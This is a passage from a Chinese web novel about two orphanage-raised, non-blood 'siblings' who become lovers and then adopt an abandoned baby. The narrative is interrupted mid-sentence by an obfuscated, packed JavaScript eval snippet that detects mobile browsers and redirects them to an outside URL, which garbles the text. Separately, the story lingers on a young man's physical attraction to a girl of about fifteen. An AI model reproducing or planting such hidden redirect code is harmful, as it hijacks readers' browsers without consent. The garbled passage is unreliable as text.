他习惯性地张开手臂抱住她——却在那一瞬间,胸膛触碰到了柔软而陌生的弧度。 他像被烫到般猛地松开手,后退了半步。 “怎么了?”邹婷仰起脸看他,眼神清澈,仿佛对他的反应毫无所觉,“见到我不高兴吗?” “没、没有。”楚怀平耳朵发热,手忙脚乱地去翻背包,“给你带了东西。” 这次是个浅蓝色的帆布书包,上面绣着白色的小花。在修车厂隔壁的杂货店看到时,他几乎没犹豫就买下了——邹婷马上要满十五了,该有个像样的包了。 邹婷接过来抱在怀里,手指轻轻摩挲着帆布粗糙的表面。她浅浅笑着,却忽然抬起眼,问:“是......只给我买了吗?” “啊?嗯,嗯。”楚怀平还没从刚才的尴尬里回过神来,胡乱应着。 邹婷笑了。不再是曾经那种孩子气的、咧着嘴的傻笑,而是唇角轻轻上扬,眼尾微微弯起的柔和笑意。 她抱着书包站在傍晚微凉的风里,发白的裙摆轻轻晃动,夕阳的余晖给她周身镀上了一层毛茸茸的金边,令楚怀平一时有些出神。 从那天起,有些东西不一样了。 楚怀平开始注意到许多以前忽略的细节:邹婷说话时微微颤动的睫毛,她踮脚从高处取东西时绷紧的小腿线条,汗水浸湿她颈后碎发时的红润面色...... 这些念头让他感到羞耻,甚至恐惧。 他是在福利院长大的,身边来来去去都是孩子和老人,几乎没见过正当妙龄的女性。进了修理厂,师傅们大多是粗豪的汉子,午休时聚在一起抽烟吹牛,话题总也绕不开女人。 谁家婆娘厉害,哪儿新来了好看的姑娘,粗俗直白的玩笑伴着烟雾在车间里飘荡。楚怀平起初面红耳赤,只是埋头吃饭,后来却渐渐能听进去了——而那些露骨的描述钻进耳朵时,他脑子里浮现的,竟是邹婷那日渐窈窕的身影。 夜里躺在宿舍的硬板床上,脑海里也开始不受控制地涌现一些画面——不是她小时候抱着玩偶的倔强样子,也不是她跟在自己身后亦步亦趋的天真样子,而是她站在风里的那个身影,她笑起来时微微弯起的眼睛,以及......手臂触碰时,那转瞬即逝的柔软触感。 身体的反应诚实而滚烫,却让他惊出了一身冷汗。 那是妹妹啊,是从小跟在他身后、他给洗过澡、换过衣服的妹妹!邹婷刚来时不肯让任何人碰,楚正山又忙,便是他用湿毛巾胡乱帮她擦洗,再手忙脚乱地套上干净衣服。那时候她瘦得肋骨分明,像只奄奄一息的小猫。 可现在,他竟对这副身体产生了可耻的想象。 畜生,□□——他在心里狠狠骂自己。 他开始有意无意地减少回福利院的次数,礼物却照常托人带回去。可厂里的师傅们眼尖,很快便发现这个老实巴交的小学徒总买些姑娘的玩意儿。 “小楚,最近老买东西,给相好的吧?”午休时,孙师傅——那个带他入门的中年汉子,端着饭盆用手肘碰碰他,咧开嘴笑,露出一口被烟熏黄的牙。 楚怀平脸腾地红了:“没、没有!是给福利院的妹妹......” “妹妹?”孙师傅哈哈大笑,周围几个师傅也凑过来起哄,“青梅竹马啊!老哥跟你讲,那可不叫妹妹,差了一个字——” 边上的师傅们哈哈大笑,异口同声地接了话:“情--妹--妹!哈哈哈哈——” 哄笑声中,楚怀平窘得汗都下来了,急急辩解:“妹妹,真是妹妹,一起长大的......” “有血缘吗?亲兄妹?”孙师傅打断他,不以为然地点了根烟。 楚怀平愣住了:“......那倒没有。但从小......” “那不就成了!”孙师傅一拍大腿,“一起长大,知根知底,多好!哪像我家那个,相亲认识的,现在藏点私房钱都跟做贼似的!” 众人又是一阵哄笑,话题很快转到各家的“血泪史”,纷纷开始吐槽自家老婆如何精明、如何管得严,笑声骂声混作一团,话题很快就岔开了。 楚怀平没再插话,只是默默扒着饭盆里已经凉掉的饭菜。 ——不是亲兄妹。 的确,他们没有血缘关系。福利院的孩子,哪个不是天涯沦落人?因缘际会凑在一起,便就成了家人。可这“家人”,和血脉相连的“亲人”,到底......是不一样的。 这个认知像一道裂缝,在他心里那些坚固的、自我唾弃的伦理屏障上,悄然撕开了一个口子。夜里,他睁着眼看天花板上晃动的光影,心却逐渐开始飘远。 一起长大,知根知底......不好吗?师傅们说得也很轻松,好像这是件......顺理成章的事。 可当他闭上眼,看见的却是那个缩在福利院大门外、死死抱着脏兮兮小猪玩偶的小女孩,看见她第一次怯生生拉住自己衣角的样子,看见自己笨手笨脚给她梳头的样子。 在他心里,她始终是那个需要保护、需要照顾的小丫头。怎么一晃眼,那小不点就长成了让他辗转反侧、心猿意马的少女了呢。 楚怀平想不明白。他锤了一下床,翻过身强迫自己入睡。 脑子糊涂,身体自然也跟着抗拒。下一次回福利院,当邹婷笑着跑向他时,他几乎下意识地侧开身,只用手轻轻拍了拍她的肩。邹婷的笑容顿了顿,却没说什么,只是接过他递来的新发卡——这次是枚浅绿色的蝴蝶形发夹,别在她乌黑的头发上,衬得皮肤愈发白皙。 “好看吗?”她仰起脸问。 楚怀平喉咙发干,点了点头,匆匆移开视线。 回修车厂的路上,夏夜的暖风吹在脸上,他却觉得浑身燥热。脑海里两个声音在打架:一个在说,她长大了,你也长大了,这很正常;另一个声音却尖叫着,那是你看着长大的妹妹,你这念头很是龌龊! 夜色渐深,汕城郊外的路灯昏暗。福利院里,邹婷站在二楼女生宿舍的窗边,手指轻轻抚摸着头发上的新发夹。她看着那个逐渐消失在夜色中的背影,眼神安静而专注,仿佛在守护一个即将成熟的秘密。 风从窗外吹进来,撩动她额前的碎发。 院长已经开始帮她留意合适的工作了,两年之约......只剩下最后几个月了。 她低头,从枕头下摸出那个已经洗得掉毛、棉花都有些外露的小猪玩偶,轻轻抱在怀里。 这一次,她不会再让任何人把她抛下。 27. 贰拾柒 日子不紧不慢地向前淌着。 厂里一个管后勤的领导,姓冯,平日里对楚怀平颇为照顾,见他踏实肯干,人也本分,便起了做媒的心思。 “小楚啊,有个姑娘,我觉得挺适合你。”他抽着烟,慢悠悠地说,“叫周欣,二十一了,比你大三岁,不过女大三,抱金砖嘛。人家父母都在正经单位,老周在镇糖厂,嫂子在缝纫厂,家里稳当得很。就是姑娘性子慢,话少,以前上学那些毛头小子不懂欣赏,这才耽搁了。” 楚怀平有些局促,没立刻应声。 “按说呢,人家这条件,配你是绰绰有余的。”老冯弹弹烟灰,拍了拍他肩膀,话里带着几分提点,“我是看你小子人实在,肯吃苦,才把这事儿说给你。过了这村,可没这店了啊。” 楚怀平听着,心里乱糟糟的,但知道领导是好意。周欣的条件,对于一个无父无母、在福利院长大、只是个修车工的孤儿来说,确实是天上掉的馅饼。 他又想起邹婷站在风里的样子,想起自己夜里那些翻来覆去的念头,一股罪恶感再次涌了上来。 也许......该试试看。 找个正经姑娘,谈个对象,成个家,是不是就能把那些不该有的心思压下去? 他点了头。 见面的地方定在镇上一家干净的小面馆。楚怀平早到了半个小时,特意换了件最齐整的衬衫,头发也用水仔细抿过,看着很是精神。 周欣来得准时,穿着一件淡蓝色的厚实衬衫,黑裤子,梳着两条及肩的麻花辫,干净利落、规规矩矩。 第一眼,楚怀平心里就“咯噔”一下。 不是周欣长得难看,她五官端正,皮肤微黑,是那种走在街上不会引人注目,但细看也觉得顺眼的姑娘。她很普通,和这个小镇一样——家庭普通,长相普通,连低头时腼腆的笑,都带着一种温吞,像一碗温开水,妥帖,安全,却也寡淡。 可当目光落在她脸上时,他脑子里却不受控制地跳出了另一张脸——更白皙,眼睛更大,虽然瘦弱,眉宇间却总带着一丝说不清道不明的执拗。 邹婷。 一顿饭吃得客气而沉闷。那个姓冯的领导说的没错,周欣话确实少,多是楚怀平问一句,她答一句,但说的都是些实在话:家里情况,工作的事,对将来的打算——朴素,安稳,带着对“以后”的铺垫。 楚怀平听懂了,对方这是看得上自己。 可他的心却像飘在半空,落不到实处。他看着周欣普通的脸,脑子里想的却是福利院天井里那个日渐窈窕的身影,阳光下纤细脖颈上细微的绒毛,笑起来时嘴角那个浅浅的、却让他莫名出神的弧度。 这不对。他明明满脑子想着邹婷,怎么还能坐在这里,和另一个姑娘谈“以后”?楚怀平别扭地想,这不成院长口中那种......脚踏两条船的烂黄瓜了? 但他不能回绝。领导的面子是一方面,更重要的是,周欣的条件确实比他好太多了,配他实在是“下嫁”,他要还是挑三拣四,只会显得不知好歹。更何况,他心里那点对邹婷的念想本就是错的,是见不得光的。或许,和周欣处着,也能让他彻底断了那不该有的心思。 楚怀平满心复杂,一时间想不明白,只好先这么不上不下地吊着。 接下来的四个月,两人就不咸不淡地处了下来,维持着一种微妙的联系。隔几天下班一起吃个饭,再沿着镇子外围的土路遛个弯。旁人都当他们是成了,但只有楚怀平自己知道,他始终刻意保持着距离。周欣说起将来打算时,他也总是含糊应着,从不敢接具体话茬。 可周欣似乎并不介意他的木讷。她是个实干派,话少,手却勤。有时会带自己做的腌菜、酱豆给他,说是“尝尝”;早上上班路过修理厂,也会捎上两个热腾腾的包子,塞给他当早点。 她是静默的、扎实的,如同渗进土里的春雨,不起眼,却慢慢洇湿了地面。 楚怀平心里那杆秤,摇晃得更厉害了。他开始回想院长的话,觉得是不是确实该和邹婷说清楚了。 一天傍晚,他盘算着回福利院看看。帆布包里装着刚买的一件粉色毛衣——店铺橱窗里看到的,颜色鲜亮,毛线看上去软乎乎的,价格也不便宜,他觉得当做自己过往心思的“歉意”正好。 他一边走出厂院大门,一边低着头思索待会该怎么跟邹婷开口,却迎面撞上了从外头办事回来的周欣。 “怀平?”周欣有些意外,随即笑了笑,“要出去?” 楚怀平有些局促:“啊......嗯,回福利院看看......院长。” “哦,”周欣看看天色,很自然地接话:“吃饭了吗,要不吃了再去?” 拒绝的话在舌尖打了个转,又咽了回去。楚怀平点点头。 馄饨店里热气蒸腾,两人面对面坐着,气氛比第一次见面时熟稔了许多,但也仅止于此。周欣说起白天去供销社帮母亲买线,但颜色总配不对;楚怀平说起今天修了辆老解放,零件锈得厉害——都是些琐碎的、不着边际的家常话。 结账时,楚怀平起身去了柜台。等他拿着找零回来,却看见周欣正眉眼弯弯地望着他,脸上带着种难得一见的、明亮的光彩。因为这笑意,那张原本普通的脸竟也生动了几分。 “怎么了?”楚怀平也不自觉笑起来。 周欣没说话,只是伸手,笑着指了指他刚才坐的椅子。 楚怀平顺着看去,心里却咯噔一下。 他那半旧的帆布包半敞着,此刻没了他人坐在前面遮挡,里面那件套着透明塑料膜的粉色毛衣,便正正地露了出来。 周欣脸上笑意更浓,乐呵呵的,脸颊甚至泛起一丝羞涩的红晕:“爸说你是个榆木脑袋,我还以为是真的呢......”她说着,声音带了点嗔怪,“这个不便宜吧。我妈会织,没必要呀。” 她自顾自地说着,抬眼却发现楚怀平脸色有些发白,表情僵硬。周欣愣了一下,忽然想起他是福利院出来的,而且这又是人家一番心意,这么说有点不合适,便拍了拍额头,有些懊恼地道:“我不是说没必要买,就是,呃......哎呀我喜欢的,谢谢你啦。” 楚怀平很快反应过来她是想哪去了,有些尴尬,但看着周欣脸上体贴真诚的歉意,喉咙又像被什么堵住了,说不出像样的解释。 事到如今没了办法,他只好伸手从包里掏出那件毛衣递了过去,没多说什么:“没事的。” 看着周欣微笑着接过去,他心里只剩一个荒唐又庆幸的念头:得亏这是毛衣——号码本就模糊,大点小点都能穿。 回到福利院时天已黑透,院里静悄悄的,只有几扇窗户还透出昏黄的光。楚怀平两手空空,心里莫名有些发虚,像做了错事的孩子。 邹婷却已经看见了他,等楚怀平走近,便像只轻盈的猫儿般迎出来,眼睛在黑暗中亮得惊人:“怀哥!” “这么晚了,不冷吗?”楚怀平见她只穿了件单外套,下意识想脱自己的外衣,手抬到一半,又顿住了。 邹婷似乎没察觉他的迟疑,凑近了些,语气是抑制不住的兴奋:“不冷不冷。院长今天跟我说了,卫生院缺个护工,我能去!也在河溪镇!”她仰起脸,直直望进楚怀平眼里,声音轻了下来,却带着一种不容错辨的期待和笃定:“以后,咱们可以在一起啦。” “在一起”三个字,像颗小石子,精准地砸在楚怀平心湖中最不安的那片水域,激起层层慌乱的涟漪。他喉咙发干,眼神飘忽了一下,不敢看邹婷灼亮的眼睛,只好含糊地应着:“啊......那、那挺好,卫生院......挺好......” 邹婷脸上的笑容慢慢淡了些。她仔细看着楚怀平的神情,忽然又往前凑近了一点,几乎要贴上他的胸口。她抬起头,呼吸轻轻拂过他的下颌,声音压得更低,带着一种试探,又像是在执拗地追问:“怀哥,你不想......和我在一起吗?” 太近了。 近得楚怀平能看清她根根分明的睫毛,能闻到她身上淡淡的、福利院廉价肥皂的干净气味,混合着少女肌肤特有的暖香,冲撞着他本就混乱的神经。他心脏砰砰直跳,脑子一片空白,只想赶紧逃离这令人心慌意乱又莫名悸动的氛围。 “哪、哪儿的话!”他几乎脱口而出,慌乱间忽然想起什么,有些口不择言:“对了,今天......今天本来给你买了东西的。” “嗯?”邹婷眨了眨眼,重新绽开笑容。 话一出口楚怀平就后悔了,好端端说这个干什么!可话题已经起来了,他只好尴尬地解释:“就......发生了点意外,送给别人了,没、没带回来。” 邹婷脸上明亮的笑意几不可察地淡下去一丝。她依旧仰着脸看他,声音轻轻的:“没事,不重要的。” 她顿了顿,声音放得更软,像是不经意地问:“是什么东西呀?我有点好奇呢。” 楚怀平正懊恼着自己口无遮拦,闻言下意识便顺着回答了:“没什么,就是件粉色毛衣。” 粉色。 邹婷的呼吸几不可察地滞了一下。她微微垂下眼睫,在眼下投出一小片阴影,牙齿轻轻咬住了下唇内侧的软肉,直到尝到一丝铁锈般的腥甜,才缓缓松开。 楚怀平见她半晌不说话,以为她是失望了,连忙补救:“下次!下次哥给你买件更好的!” 邹婷缓缓抬起眼,神情幽幽,像是蒙了一层薄雾,看不清情绪。她声音轻轻的,不知具体是在问谁:“买给我的......为什么要送别人呢?” “这......”楚怀平被她问得有些窘迫,但也没多想,便把混沌铺里的事囫囵说了:“就......碰见个熟人,被人家看见了,以为是买给她的。那种情况,我、我也不好说不是,就......就送了呗。” 邹婷安静地听着,没再追问那“熟人”是谁。她只是沉默着,额前的碎发被夜风撩起,在她脸上投下淡淡的、摇曳的阴影,让人看不清眼底的情绪。 片刻之后,她忽然上前一步,伸出手臂,轻轻地、却又带着不容抗拒的力度,环抱住了楚怀平的腰,将脸贴在了他的胸口。 楚怀平浑身一僵,像根木头似的杵在那里。少女柔软的身体紧密地贴上来,隔着薄薄的衣物,能清晰感受到那逐渐成熟的曲线和温热的体温。一股热血“轰”地冲上头顶,烧得他耳根发烫,心脏擂鼓一样狂跳起来。 他想推开,但那温热的触感和衣料下清晰的肩胛骨形状却让他指尖发麻,第一下竟没能推动,反而因为这短暂的接触,让他更加清晰地意识到怀里这具身躯与记忆中那个瘦小丫头的天壤之别。 邹婷在他怀里缓缓抬起头。两人的脸靠得极近,鼻尖几乎相触,呼吸依稀交融。昏暗的光线下,她的眼睛亮得惊人,里面翻涌着楚怀平看不懂的、浓烈而执拗的情绪。 她开口了,声音不大,却像一把小锤,直接敲碎了他所有试图维持的伪装与界限:“怀哥,你喜欢我吗?” 烟花。 楚怀平的脑海里,真的炸开了一片空白又炫目焰火,伴随着震耳欲聋的嗡鸣,所有血液好像都涌向了头顶,又急速褪去,留下慌乱的无措和炽热的混乱。他张了张嘴,却发不出任何声音,眼前只有邹婷那双幽深得仿佛要把他吸进去的眼睛。 他艰难地挤出几个字,搜刮着残存的、可以用来抵挡的碎片:“我......你是我妹......” 话没能说完。 邹婷毫无预兆地踮起脚尖,仰起脸,将自己柔软而微凉的唇,笨拙却坚定地印在了他的唇上。 所有声音都消失了。 世界坍缩成唇瓣相贴的那一点触感。生涩,毫无章法,只是紧紧贴着,挤压、摩擦着,带着孤注一掷的颤抖。 楚怀平惊得瞪大了眼睛,手下意识地去推她的肩膀,可她抱得那样紧,推拒的力量反而让两人更加密不可分。 最初的震惊和本能的抗拒过去后,一种更原始、更滚烫的洪流冲垮了理智的堤坝。夜间辗转反侧时的模糊幻影,此刻终于有了真切温软的实体。 抵在肩头的手掌不知何时滑落,转而环住了少女的腰。他开始生涩地、急切地回应起来,同样毫无技巧,只是凭着本能去吮吸、碾压。牙齿不小心磕到一起,带来细微的痛,却刺激了更深的渴求。 在那一片混乱的、只有唇舌间最为原始的触感交锋中,楚怀平忘记了周欣,忘记了领导的面子,忘记了兄妹的界限,甚至忘记了呼吸。 他只知道,在一片混沌滚烫的黑暗里,他没有拒绝。 ———————————— 那夜之后,很多事情在楚怀平心里便有了清晰的答案,不再需要言语确认。 无需邹婷再追问什么,楚怀平心里那杆本已逐渐偏离的天平,忽然哐当一声彻底砸向了另一边。他觉得不能再这样糊弄自己,糊弄周欣,糊弄所有人。 他先去找了领导。在对方那间堆满杂物的办公室里,他站得笔直,脸上还带着年轻人特有的、做了重大决定后的郑重和一丝不易察觉的忐忑。他笨拙却恳切地向对方坦白了自己的心意——不是周欣不好,只是他心里,已经有了放不下的人。 老冯听完先是愕然,随即是恨铁不成钢的叹息:“你呀你!小楚啊,人周欣多实在的条件!你......唉,你们以后的日子,可想好了?” 楚怀平重重点头:“想好了,冯叔。” 从领导那儿出来,他深吸一口气,又去找了周欣。 他们约在镇外的河堤边,傍晚时分,没什么人。周欣来的时候,脸上带着浅浅的笑,手里还提着个小布包,大概是又带了什么吃的。 楚怀平看着她走近,看着她脸上那毫无防备的微笑,心里像压了块石头。他酝酿了一路的话,在看到她清澈眼神的瞬间,几乎要哽在喉咙里。 “周欣,”他终于还是说了出来,声音因为紧张而有些发紧,“我......我有话跟你说。” 周欣脸上的笑意淡了淡,似乎察觉到了什么。她把布包往身后藏了藏,安静地看着他:“嗯,你说。” 他站直身体,看着眼前这个温和朴实的姑娘,把心里翻腾了许久的话,一股脑儿地倒了出来。 从领导介绍时自己的犹豫,到相处时总忍不住想起另一个人的心不在焉,甚至还有那件粉色毛衣的真相......他说得颠三倒四,面红耳赤,没什么技巧,甚至笨拙得有些伤人,但每一句都是掏心窝子的实话,没有任何修饰推诿,就像一个心思简单的年轻工人,在交代一件自己做错了的、需要承担责任的失误。 周欣静静地听着,脸上的血色一点点褪去,手指无意识地攥紧了布包的带子。她性子温吞,话少,心里却并不糊涂——那些似有若无的疏离,那些回避未来的话题,此刻通通都有了答案。 说实话,她挺喜欢楚怀平的。喜欢他的踏实,他的本分,他偶尔露出的憨直笑容。她曾暗自憧憬过,和这样一个男人,过一份安稳平凡的日子。 酸楚和难堪涌上心头,眼眶有些发热。周欣低下头,看着自己的鞋尖。 可细密的刺痛过后,另一种情绪又从心底慢慢浮了起来。她看着眼前这个紧张得额头都在冒汗、眼神里满是愧疚和恳切的年轻男人,想起了这段时间他始终保持距离的礼貌,想起他从不应和她关于“以后”的话题,想起他把那件毛衣递给她时,脸上那显而易见的僵硬和尴尬...... 周欣深深叹气。这些,又怎么不是一种笨拙的、不愿欺骗的负责。 这个认知,奇异地抚平了她心口的褶皱。虽然伤感依旧,但那种被尊重、被认真对待的感觉,让她对眼前这个满脸歉疚、手足无措的年轻人,反而生出了一丝更加真切的好感。 只是,缘分这种事,终究强求不来。布包里的腌菜,大概......也用不上了。 周欣低下头,沉默了很久。晚风吹动她的发梢衣角,远处有归家的鸟雀掠过水面。 最后,她扯出一个笑容,虽然有些勉强:“我......我知道了。”她的声音有些哑,停顿了很久,才像是用尽了力气,轻声说:“要是不合适,我......我可以等你。” 这话说出来,她自己都觉得傻气。可她就是说了,带着她性格里那份温吞却固执的真诚。 楚怀平看着她通红的眼眶和努力维持的笑容,心里像被针扎了一下,更加愧疚难当。他用力摇头:“不,不用等。周欣,你是个好姑娘,真的。是我......是我对不住你。你一定会找到更好的人的。” 周欣没再说什么,只是点了点头,慢慢转过身,沿着来时的路走了。背影在夕阳下拉得很长,显得有些孤单。 楚怀平站在石桥边,看着她走远,心里沉甸甸的,像是卸下了一个包袱,却又背上了一份沉甸甸的愧疚。 他第一次感到了人生的复杂,不由得学起楚正山的模样,深深叹气。 那一年,楚怀平十八岁,自认为看清了自己的心,莽撞而决绝地斩断了一条在旁人看来“光明”的路。 那一年,邹婷十六岁,用一场孤注一掷的亲吻,终于将她小心翼翼守护了多年的“家人”,圈定成了只属于她的“爱人”。 河溪镇的仲夏,带着潮湿的水汽和隐约的蝉鸣,即将到来。 ———————————— 日子就这么过了下去。邹婷从蓝天之家出来后,直接搬进了楚怀平在修理厂宿舍区租的那间小屋。屋子很小,勉强隔出一间卧室,放着一张旧床垫、一个简易衣柜和一张小桌,外间兼作客厅和厨房,墙角堆着楚怀平的工具和些零碎配件。 邹婷兴致勃勃地开始打理这个小小的家。可她从小都是被照顾的那个,对于家务实在生疏,叠的衣服歪歪扭扭,生火做饭不是糊了就是夹生,想把楚怀平那些工具分门别类,却弄得自己一手黑,最后看着摊了一地、似乎越理越乱的东西,咬着嘴唇有些无措。 头几天,屋里比从前楚怀平一个人住时还乱。他没说什么,只是笑了笑,挽起袖子和她一起,一点一点把东西归置好。邹婷跟在他身后学着他的样子,虽然动作依旧笨拙,眼神却亮晶晶的,带着一种构筑“家”的虔诚。 两年时间,在油污、烟火和两人逐渐磨合的琐碎中快速滑过。 这天邹婷在卫生所加了会儿班,清理完最后一间诊室出来时,天色已经暗透了。秋夜的凉意顺着脖颈往里钻,她拢了拢单薄的外套,快步走向门口的台阶。 她的目光不经意扫过旁边那张供人等候的长木椅,脚步猛地顿住了。 椅子上放着一个用旧蓝布做成的包裹。很小的一团,安静得几乎没有存在感。 邹婷的心跳漏了一拍。她慢慢走过去,借着卫生所门口昏黄的灯光,看清了包裹里的景象。 一个襁褓。一个女婴。 她闭着眼,小脸皱巴巴的,但异常干净。眼睛紧闭着,小嘴无意识地微微噘起,像是在睡梦中寻找什么,却只是本能地偶尔嚅动一下,发不出什么声音。她太安静了,没有婴儿该有的细微哼唧或扭动,只有胸口极其微弱的起伏证明她还活着。也许是饿了太久,连哭的力气都没有了。 邹婷仿佛被钉在了原地,再无法挪动一步。 她怔怔地看着那张小脸,看着那被寒意冻得有些发青的皮肤,看着那因为瘦弱而显得格外大的眼睛轮廓。 时间仿佛在这一刻开始凝固、倒流。她好像看到了很多年前,被丢在福利院门口,死死抱着小猪玩偶的自己;又好像看到了楚院长口中,那个不到三岁就被亲戚送来,却睁着漆黑眼睛不哭不闹的楚怀平。 寒风卷着落叶,在她脚边打着旋。长椅之上冰凉无声,却承载着一个小小的、被遗弃的生命。卫生所里透出的昏黄灯光将襁褓的影子拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352909|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长,投在冰冷的水泥地上,显得格外凄凉,格外孤单。 所有的一切,汇成了一股巨大而冰冷的洪流,狠狠撞进邹婷的胸腔。 心脏好像被什么东西攥紧了,呼吸都开始有些困难。她愣愣地站在那儿,看了很久,久到双腿都开始发麻。脑海里闪过了许多念头,却又似乎一片空白,最终只剩两个刺眼的字。 孤儿。 这两个字像烙铁,烫在她的灵魂深处。她怔怔地看着那个女婴,久久无法动弹,灵魂仿佛飘出了躯壳,在半空中冷冷俯视着这重复的、令人心寒的轮回。 不知过了多久,也许只是几秒,却感觉像一个世纪。她终于慢慢地、极其小心地弯下腰,伸出微微颤抖的手臂,将那冰冷的、轻得几乎没有分量的襁褓抱了起来,紧紧贴在自己同样单薄,却柔软温热的胸口。 邹婷觉得自己的理智在挣扎,在呐喊,在抗拒这突如其来、沉重得超乎想象的责任。可当她的肌肤触及那微弱的、属于生命的温度时,一切嘈杂的心声,全都沉寂了下去。 在见到这个婴儿的一刻,很多事,其实就已经注定了。 脑海中那个刺目的词语缓缓褪去,一个温馨的字眼浮上心头。 遇。 ———————————— 楚怀平拖着疲惫的身子回到小屋时,觉得有些不对劲。 屋里安安静静,没有往常锅铲的碰撞声,也没有饭菜飘香。厨房冷锅冷灶,灯也没开。他心里一紧,快步走进里间,却见邹婷独自坐在那张旧沙发上,背对着门,一动不动,像是在出神。 “小婷?”他喊了一声,声音在安静的屋里显得格外突兀,“怎么了?累了?” 邹婷慢慢转过头。屋里光线昏暗,只有窗外透进来的一点微光,映出她侧脸模糊的轮廓,却看不清表情。她没有说话,只是竖起食指贴在唇边,轻轻地“嘘”了一声。然后她站起身,朝用布帘隔出来的、他们称之为“卧室”的小隔间走去,示意他跟来。 楚怀平满心疑惑,跟着她走进那个只摆了一张大床垫的隔间。邹婷轻轻推上门,阻隔了外间微弱的光线。 楚怀平的眼睛适应了几秒黑暗,才看清床垫上的情形—— 一个婴儿。那么小,裹在蓝灰色的襁褓里,几乎看不出起伏,安安静静的,像是睡着了。 他张着嘴,愣了半天,才猛地扭头看向邹婷,声音压得极低,却掩不住里面的震惊和错乱:“这......这哪来的?!谁家的孩子?!” 邹婷轻轻把布帘拉严实,走回小沙发坐下,才用同样低微、却异常清晰的声音回答:“我下班的时候,在卫生所门口捡的。就放在长椅那儿......应该是个被丢下的......孩子。” 最后几个字,她说得很慢,目光落在楚怀平脸上,一瞬不瞬。 楚怀平像被钉在了原地。他当然知道,邹婷本要脱口而出的那个词是什么。 他怎会不懂那两个字的重量?那是刻在他生命起点、无法磨灭的烙印,他太知道那意味着什么。 他也同样清楚邹婷的意思。 可他也才将将二十。放在别人家,这个年纪或许还在念书,为明天的考试发愁。他呢?他连自己和一个邹婷都快顾不过来了,拿什么去养一个婴儿?还是个来历不明的、刚出生的婴儿? 一股混杂着恐慌、抗拒和不知所措的烦躁涌了上来。他搓着手在原地转了小半圈,声音忍不住拔高了一点,又立刻压下去,因为急切而有些发干:“这......这不胡闹吗!得......得试着找她父母啊!说不定是搞忘了......” 这理由他自己都不可能信,声音越说越低。 他又想起了楚正山:“要不......抱去院长那儿?福利院本来就......” “我们自己才从那儿出来。”邹婷打断他,声音不高,却带着一层淡淡的、异常沉重的悲伤,“现在......还要往里送人吗?这种事,也要......一代代往下传?” 楚怀平被她话语里的沉重和悲伤震了一下,但随即那股现实的焦虑又占了上风:“这跟我们有什么关系?!明明是她爹妈造的孽!只是......只是刚好被你遇到了而已!” “对啊,刚好是我......”邹婷重复着这句话,眼神变得有些飘忽,带着一种近乎宿命的笃定,直直看着他:“其实今天不该我加班打扫。是梁姐的班,但她孩子发烧了,才临时跟我换的。” “所以说......可能就该我遇上。”她看向楚怀平,眼睛在昏暗的光线里闪着奇异的光,“这,怎么不算天意?” 楚怀平语塞了。他想反驳,想说这不过是巧合,想说天意也不能当饭吃。可看着邹婷那沉浸在自己逻辑里、带着殉道般执着的神情,所有关于现实、理智的话语全都堵在了喉咙,一个字也吐不出来。 邹婷的目光渐渐带上了灼热,闪着奇异的光彩:“这孩子可能还没满月,她什么都不会记得。只要咱们不说,好好养她,她这辈子......就不是孤儿。她会有爸爸,有妈妈,有一个家。” 楚怀平心里一万个不情愿,脑中一万个现实问题在咆哮——钱呢?住哪儿?怎么养?他们两个都还是半大孩子,哪来的能力做这么大的决定? 可对上邹婷那双眼睛,看着里面混合着悲悯、决绝,还有一丝他不敢深究的、仿佛抓住救命稻草般的光芒...... 他又沉默了,只能重重叹气。 楚怀平其实也知道,院长年纪大了,精力早已不如从前。除此之外,还有更棘手的问题——他上次回福利院,隔着门听到了楚正山打电话时疲惫而恳求的声音,翻来覆去,核心只有一个:请求拨款,维持开销。 “蓝天之家”就像一艘泊于港口的老船,在风雨之中飘摇摆荡,谁知道那破锚还能支撑多久? 但他还是试图做最后的挣扎,声音里带着近乎恳求的无奈:“可咱俩......咱俩才多大?自己都过不明白,怎么养孩子?你看这屋子,转个身都费劲,孩子以后连爬的地方都没有......” “房子可以换。”邹婷立刻接话,像是早就想过这些问题,“镇上江大哥家要盖新房,旧院子打算卖了。之前他妈妈低血糖晕倒送来我们卫生所,是我在照顾,聊天时提过。” 楚怀平简直要被她跳跃的思维弄懵了:“什么意思,你还想买房子?!咱哪来的钱?这两年攒的那点,够干嘛的?” “钱可以借。”邹婷不以为意,语气甚至有些轻松,“江大哥他们急着脱手,价格应该好商量。咱们都有工作,慢慢还,总能还上。房子......总是要买的嘛,只不过提前了一点而已。” 楚怀平只觉得一股无力感蔓延全身。他颓然地在旁边的凳子上坐下,双手插进头发里,又开始叹气。 “怀哥,”邹婷看了看他,忽然起身到他面前蹲下,握住他的手。 她仰着脸,眼睛很亮,声音却放得极柔,带着一种诱哄般的、规划未来的口吻:“你就当......这是咱们第一个孩子,不行吗?” 楚怀平手指微微一颤。 “还是说......”邹婷的眼神黯了黯,但很快又亮起来,带着些小心翼翼的试探:“你很介意她不是你亲生的?” 楚怀平脑子很乱。他也不知道自己介不介意,因为他根本还没想过孩子的事,甚至连“父亲”这个身份意味着什么,都毫无概念。 邹婷还在继续:“没关系的,以后我们还可以有自己的孩子,不耽误的。就当提前练习了,积累点经验,不成吗?而且多个孩子,家里也热闹。” 楚怀平烦躁地抓抓头发,下意识地辩解,声音闷闷的:“我不是介意这个......就是......还没想那么远。我连明天该买什么菜都没想好,突然就要当爹了,这......这一点准备都没有,什么事啊都。” “没准备,才要开始准备呀。”那笑容在昏暗的光线里显得有些模糊,却带着一种奇异的、笃定的力量,“咱就当提前过上婚后日子了,成不?先把这孩子养大,等过几年到了年纪,就去把证领了。到时候家务怎么分工,孩子怎么带,钱怎么管,就已经磨合好了,不是省了很多事嘛?” 合法登记,还得再等三年。楚怀平不是不想和邹婷结婚,只是觉得这一切都来得太快、太突兀了,像一场不由分说席卷而来的洪水,瞬间淹没了他对未来那点模糊的、属于自己的想象。 